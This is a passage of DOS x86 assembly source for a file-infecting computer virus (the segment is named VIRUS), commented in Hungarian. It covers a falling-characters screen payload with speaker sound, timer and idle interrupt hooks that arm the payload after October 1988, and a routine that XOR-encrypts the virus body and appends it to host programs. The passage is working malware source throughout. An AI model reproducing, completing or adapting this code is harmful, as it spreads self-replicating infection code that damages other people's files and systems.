  1111.     INT 10H            ;  A SOROK SZAMANAK BEOLVASASA
  1112.  
  1113.     POP BP            ;  ES & BP VISSZAALLITASA
  1114.  
  1115.     POP ES
  1116.  
  1117.     CMP DL,0FFH
  1118.  
  1119.     JZ PO1
  1120.  
  1121. PO4:    MOV VIDSOR,DL        ;  A SOROK SZAMANAK ELTAROLASA
  1122.  
  1123. PO1:    MOV AH,0FH
  1124.  
  1125.     INT 10H            ;  OSZLOPOK SZAMANAK A BEOLVASASA
  1126.  
  1127.     MOV VIDOSZL,AH        ;  ES ELTAROLASA
  1128.  
  1129.     MOV VIDMOD,0        ;  A MOD ES A VIDEOMEMORIA SZEGMENSCIMENEK
  1130.  
  1131.     MOV VIDKEZ,0B000H    ;  BEALLITASA
  1132.  
  1133.     CMP AL,7        ;  AZ AKTUALIS MOD EGA-TEXT?
  1134.  
  1135.     JZ PO3            ;  IGEN
  1136.  
  1137.     JB PO2
  1138.  
  1139.     JMP PO7
  1140.  
  1141. PO2:    MOV VIDKEZ,0B800H    ;  A VIDEOMEMORIA KEZDOCIME
  1142.  
  1143.     CMP AL,3
  1144.  
  1145.     JA PO3
  1146.  
  1147.     CMP AL,2
  1148.  
  1149.     JB PO3
  1150.  
  1151.     MOV VIDMOD,1        ;  HAVAZIK A KEPERNYO
  1152.  
  1153.     MOV AL,VIDSOR        ;  A SOROK SZAMA
  1154.  
  1155.     INC AL            ;  MEG EGY
  1156.  
  1157.     MUL VIDOSZL        ;  SZOROZVA AZ OSZLOPOK SZAMAVAL
  1158.  
  1159.     MOV MAXKAR,AX        ;  ENNYI KARAKTERHELY VAN A KEPERNYON
  1160.  
  1161.     MOV AX,POTYKAR        ;  A POTYOGTATANDO KARAKTEREK SZAMA
  1162.  
  1163.     CMP AX,MAXKAR        ;  NAGYOBB, MINT A MAXIMALIS KARAKTERSZAM?
  1164.  
  1165.     JBE PO5            ;  NEM, TOVABB
  1166.  
  1167.     MOV AX,MAXKAR        ;  A MAXIMALIS KARAKTERSZAM
  1168.  
  1169. PO5:    CALL VELETL        ;  VELETLENSZAM ELOALLITASA 1 ES A POTYOGTATANDO
  1170.  
  1171.     INC AX            ;  /VAGY MAXIMALIS/ ERTEK KOZOTT
  1172.  
  1173.     MOV SI,AX        ;  A MAXIMALISAN POTYOGTATHATO KARAKTEREK SZAMA
  1174.  
  1175. PO3:    XOR DI,DI        ;  DI=0
  1176.  
  1177. PO8:    INC DI            ;  DI=DI+1  :  A SIKERTELEN KISERLETEKET SZAMLALJA
  1178.  
  1179.     MOV AX,MAXKAR        ;  A MAXIMALIS KARAKTERSZAM
  1180.  
  1181.     SHL AX,1        ;  SZOROZVA KETTOVEL, ENNYI SIKERTELEN KISERLET
  1182.  
  1183.     CMP DI,AX        ;  ENGEDELYEZETT EGYMAS UTAN
  1184.  
  1185.     JBE PO6            ;  MEG NEM TELT LE
  1186.  
  1187.     JMP PO7            ;  TULLEPTE, KILEPETT
  1188.  
  1189. PO6:    OR STATUS,10B        ;  A KARAKTER NEM POTYOGOTT
  1190.  
  1191.     MOV AL,VIDOSZL        ;  A MAXIMALIS ERTEK AZ OSZLOPOK SZAMA
  1192.  
  1193.     MOV AH,0
  1194.  
  1195.     CALL VELETL        ;  VELETLENSZAM ELOALLITASA
  1196.  
  1197.     MOV DL,AL        ;  EZ LESZ AZ OSZLOPSZAM
  1198.  
  1199.     MOV AL,VIDSOR        ;  MAXIMALIS ERTEK A SOROK SZAMA
  1200.  
  1201.     MOV AH,0
  1202.  
  1203.     CALL VELETL        ;  VELETLENSZAM ELOALLITASA
  1204.  
  1205.     MOV DH,AL        ;  EZ LESZ A SORSZAM
  1206.  
  1207.     CALL VIDOLV        ;  A MEGFELELO KARAKTER BEOLVASASA
  1208.  
  1209.     CALL URES        ;  URES-E?
  1210.  
  1211.     JC PO8            ;  IGEN
  1212.  
  1213.     CALL GRAFIK        ;  GRAFIKUS-E?
  1214.  
  1215.     JC PO8            ;  IGEN
  1216.  
  1217.     MOV OLVKAR,AL        ;  A BEOLVASOTT KARAKTER ES ATTRIBUTUMANAK
  1218.  
  1219.     MOV OLVATT,AH        ;  ELTAROLASA
  1220.  
  1221.     MOV CL,VIDSOR        ;  CX=SOROK SZAMA
  1222.  
  1223.     MOV CH,0
  1224.  
  1225. POC:    INC DH            ;  A KOVETKEZO SOR
  1226.  
  1227.     CMP DH,VIDSOR        ;  ELERTE A MAXIMALISAT?
  1228.  
  1229.     JA PO9            ;  TULLEPTE, ABBAHAGYNI
  1230.  
  1231.     CALL VIDOLV        ;  A KARAKTER BEOLVASASA
  1232.  
  1233.     CMP AH,OLVATT        ;  AZ ATTRIBUTUM STIMMEL?
  1234.  
  1235.     JNZ PO9            ;  NEM EGYEZIK
  1236.  
  1237.     CALL URES        ;  URES KARAKTER-E?
  1238.  
  1239.     JC POA            ;  IGEN
  1240.  
  1241. POE:    CALL GRAFIK        ;  GRAFIKUS-E?
  1242.  
  1243.     JC PO9            ;  IGEN
  1244.  
  1245.     INC DH            ;  A KOVETKEZO SOR
  1246.  
  1247.     CMP DH,VIDSOR        ;  TULLEPTE AZ UTOLSO SORT?
  1248.  
  1249.     JA PO9            ;  IGEN
  1250.  
  1251.     CALL VIDOLV        ;  BEOLVASAS A VIDEORAM-BOL
  1252.  
  1253.     CMP AH,OLVATT        ;  AZ ATTRIBUTUMOK OSSZEHASONLITASA
  1254.  
  1255.     JNZ PO9            ;  NEM EGYEZNEK
  1256.  
  1257.     CALL URES        ;  URES KARAKTER-E?
  1258.  
  1259.     JNC POE            ;  NEM
  1260.  
  1261.     CALL HANGSZ        ;  HANG ELOALLITASA
  1262.  
  1263.     DEC DH            ;  A FELETTE LEVO SOR
  1264.  
  1265.     CALL VIDOLV        ;  BEOLVASASA
  1266.  
  1267.     MOV OLVKAR,AL        ;  ES AZ OTT LEVO KARAKTER ELTAROLASA
  1268.  
  1269.     INC DH            ;  AZ ALATTA LEVO SOR
  1270.  
  1271. POA:    AND STATUS,11111101B    ;  SIKERULT POTYOGTATNI
  1272.  
  1273.     DEC DH            ;  A FELETTE LEVO SOR
  1274.  
  1275.     MOV AL,20H        ;  A SZOKOZ KODJA
  1276.  
  1277.     CALL VIDIR        ;  KIIRASA
  1278.  
  1279.     INC DH            ;  AZ ALATTA LEVO SOR
  1280.  
  1281.     MOV AL,OLVKAR        ;  A KARAKTER
  1282.  
  1283.     CALL VIDIR        ;  KIIRASA
  1284.  
  1285.     JCXZ POB        ;  HA ELERTUK A LEGALSO SORT, AKKOR KILEPES
  1286.  
  1287.     CALL VARAK        ;  VARAKOZAS
  1288.  
  1289.     DEC CX            ;  ES A VISSZALEVO SOROK SZAMANAK CSOKKENTESE
  1290.  
  1291. POB:    JMP POC
  1292.  
  1293. PO9:    TEST STATUS,10B        ;  POTYOGOTT MAR KARAKTER?
  1294.  
  1295.     JZ POD            ;  IGEN
  1296.  
  1297.     JMP PO8            ;  UJ KISERLET
  1298.  
  1299. POD:    CALL HANGSZ        ;  HANG ELOALLITASA
  1300.  
  1301.     DEC SI            ;  EGGYEL KEVESEBB KARAKTER VAN HATRA
  1302.  
  1303.     JZ PO7            ;  HA NULLA, AKKOR KILEPNI
  1304.  
  1305.     JMP PO3            ;  UJRA KISERELNI
  1306.  
  1307. PO7:    IN AL,61H        ;  A HANGSZORO BEOLVASASA
  1308.  
  1309.     AND AL,11111100B    ;  KIKAPCSOLASA
  1310.  
  1311.     OUT 61H,AL        ;  MAJD VISSZAIRASA
  1312.  
  1313.     RET            ;  VISSZATERES
  1314.  
  1315. POTY    ENDP
  1316.  
  1317.  
  1318.  
  1319. UJ1C:    TEST CS:STATUS,1001B    ;  A POTYOGAS TILTVA, VAGY EPPEN POTYOG?
  1320.  
  1321.     JNZ U1C_1        ;  IGEN
  1322.  
  1323.     OR CS:STATUS,1        ;  EPPEN POTYOG JELZOT BEALLITANI
  1324.  
  1325.     DEC CS:SZAML        ;  A SZAMLALOT CSOKKENTENI
  1326.  
  1327.     JNZ U1C_2        ;  HA MEG NEM NULLA, AKKOR VEGE
  1328.  
  1329.     PUSH DS            ;  REGISZTEREK ELMENTESE
  1330.  
  1331.     PUSH ES
  1332.  
  1333.     PUSH CS
  1334.  
  1335.     POP DS            ;  DS=CS
  1336.  
  1337.     PUSH CS
  1338.  
  1339.     POP ES            ;  ES=CS
  1340.  
  1341.     PUSH AX
  1342.  
  1343.     PUSH BX
  1344.  
  1345.     PUSH CX
  1346.  
  1347.     PUSH DX
  1348.  
  1349.     PUSH SI
  1350.  
  1351.     PUSH DI
  1352.  
  1353.     PUSH BP
  1354.  
  1355.     MOV AL,20H
  1356.  
  1357.     OUT 20H,AL
  1358.  
  1359.     MOV AX,SZAMLEL        ;  A SZAMLALO ELOZO ERTEKE
  1360.  
  1361.     CMP AX,0438H        ;  AZ ELOZO ERTEK KISEBB VOLT?
  1362.  
  1363.     JNB U1C_3        ;  NEM
  1364.  
  1365.     MOV AX,0438H        ;  KB. 60 MASODPERC
  1366.  
  1367. U1C_3:    CALL VELETL        ;  VELETLENSZAM ELOAALITASA
  1368.  
  1369.     INC AX            ;  AZ IDO NEM LEHET NULLA
  1370.  
  1371.     MOV SZAML,AX        ;  ES ELTAROLAS A SZAMLALOBA
  1372.  
  1373.     MOV SZAMLEL,AX        ;  ES MINT A SZAMLALO UTOLSO ERTEKE IS
  1374.  
  1375.     CALL POTY        ;  POTYOGTATAS
  1376.  
  1377.     MOV AX,3        ;  VELETLENSZAM ELOALLIASA
  1378.  
  1379.     CALL VELETL        ;  1 ES 3 KOZOTT
  1380.  
  1381.     INC AX
  1382.  
  1383.     MUL POTYKAR        ;  EZT SZOROZNI A MAXIMALISAN POTYOGTATHATO
  1384.  
  1385.     JNB U1C_4        ;  KARAKTEREK SZAMAVAL
  1386.  
  1387.     MOV AX,0FFFFH        ;  MAXIMUM 65535 DB LEHET
  1388.  
  1389. U1C_4:    MOV POTYKAR,AX        ;  ELTAROLASA
  1390.  
  1391.     POP BP            ;  REGISZTEREK VISSZOLVASASA
  1392.  
  1393.     POP DI
  1394.  
  1395.     POP SI
  1396.  
  1397.     POP DX
  1398.  
  1399.     POP CX
  1400.  
  1401.     POP BX
  1402.  
  1403.     POP AX
  1404.  
  1405.     POP ES
  1406.  
  1407.     POP DS
  1408.  
  1409. U1C_2:    AND CS:STATUS,11111110B    ;  EPPEN NEM POTYOG BEALLITASA
  1410.  
  1411. U1C_1:    JMP DWORD PTR CS:REG1C    ;  FOLYTATASA A REGI INT 1CH-N
  1412.  
  1413.  
  1414.  
  1415. UJ28:    TEST CS:STATUS,1000B    ;  TILTVA A POTYOGAS?
  1416.  
  1417.     JZ U28_1        ;  HA NEM, AKKOR FELESLEGES VEGREHAJTANI
  1418.  
  1419.     PUSH AX            ;  REGISZTEREK MENTESE
  1420.  
  1421.     PUSH CX
  1422.  
  1423.     PUSH DX
  1424.  
  1425.     MOV AH,2AH        ;  A RENDSZERDATUM BEOLVASASA
  1426.  
  1427.     INT 21H
  1428.  
  1429.     CMP CX,1988        ;  AZ EV 1988?
  1430.  
  1431.     JB U28_2        ;  HA KISEBB, AKKOR KILEPES
  1432.  
  1433.     JA U28_3        ;  HA NAGYOBB, AKKOR POTYOGHAT
  1434.  
  1435.     CMP DH,10        ;  VAN MAR OKTOBER?
  1436.  
  1437.     JB U28_2        ;  HA MEG NINCS, AKKOR NE POTYOGJON
  1438.  
  1439. U28_3:    AND CS:STATUS,11110111B    ;  A POTYOGAS ENGEDELYEZVE
  1440.  
  1441. U28_2:    POP DX            ;  REGISZTEREK VISSZAOLVASASA
  1442.  
  1443.     POP CX
  1444.  
  1445.     POP AX
  1446.  
  1447. U28_1:    JMP DWORD PTR CS:REG28    ;  FOLYTATAS A REGI INT 28H-N
  1448.  
  1449.  
  1450.  
  1451. UTANMAS    PROC NEAR        ;  A VIRUS KIMASOLASA A PROGRAM MOGE
  1452.  
  1453.     PUSH ES
  1454.  
  1455.     PUSH BX
  1456.  
  1457.     MOV AH,48H        ;  MEMORIATERULET ALLOKALASA
  1458.  
  1459.     MOV BX,OFFSET HOSSZ/10H+1
  1460.  
  1461.     INT 21H
  1462.  
  1463.     POP BX
  1464.  
  1465.     JNC UTAN1        ;  SIKERULT?
  1466.  
  1467. UTAN3:    STC
  1468.  
  1469.     POP ES
  1470.  
  1471.     RET
  1472.  
  1473. UTAN1:    MOV BYTE PTR CS:100H,1
  1474.  
  1475.     MOV ES,AX
  1476.  
  1477.     PUSH CS            ;  DS=CS
  1478.  
  1479.     POP DS
  1480.  
  1481.     XOR DI,DI        ;  DI=0
  1482.  
  1483.     MOV SI,100H        ;  SI=100H
  1484.  
  1485.     MOV CX,OFFSET HOSSZ    ;  A VIRUS HOSSZA
  1486.  
  1487.     CLD            ;  NOVEKVO IRANY
  1488.  
  1489.     REPZ MOVSB        ;  A VIRUS KIMASOLASA AZ ALLOKALT TERULETRE
  1490.  
  1491.     MOV DI,OFFSET INDIT-100H
  1492.  
  1493.     MOV SI,OFFSET INDIT
  1494.  
  1495.     ADD SI,WORD PTR FILHOS
  1496.  
  1497.     MOV CX,OFFSET VEG-INDIT
  1498.  
  1499. UTAN2:    XOR ES:[DI],SI        ;  A VIRUS LE XOR-OLASA
  1500.  
  1501.     XOR ES:[DI],CX
  1502.  
  1503.     INC DI
  1504.  
  1505.     INC SI
  1506.  
  1507.     LOOP UTAN2
  1508.  
  1509.     MOV DS,AX        ;  DS A PUFFER ELEJERE MUTAT
  1510.  
  1511.     MOV AH,40H
  1512.  
  1513.     XOR DX,DX        ;  AZ OFSZET A PUFFER ELEJERE
  1514.  
  1515.     MOV CX,OFFSET HOSSZ    ;  A VIRUS HOSSZA
  1516.  
  1517.     INT 21H            ;  KIIRAS A PROGRAM MOGE
  1518.  
  1519.     PUSHF
  1520.  
  1521.     PUSH AX
  1522.  
  1523.     MOV AH,49H        ;  AZ ALLOKALT MEMORIABLOKK FELSZABADITASA
  1524.  
  1525.     INT 21H
  1526.  
  1527.     POP AX            ;  A REGISZTEREK VISSZAOLVASASA
  1528.  
  1529.     POPF
  1530.  
  1531.     PUSH CS            ;  DS=CS
  1532.  
  1533.     POP DS
  1534.  
  1535.     JC UTAN3
  1536.  
  1537.     CMP AX,CX        ;  MINDEN BYTEOT KIIRT?
  1538.  
  1539.     JNZ UTAN3        ;  NEM
  1540.  
  1541.     POP ES
  1542.  
  1543.     CLC            ;  NEM TORTENT HIBA
  1544.  
  1545.     RET            ;  VISSZATERES
  1546.  
  1547. UTANMAS    ENDP
  1548.  
  1549.  
  1550.  
  1551. VEG    EQU $
  1552.  
  1553.  
  1554.  
  1555. VIRUS    ENDS
  1556.  
  1557.  
  1558.  
  1559.     END
  1560.  
  1561.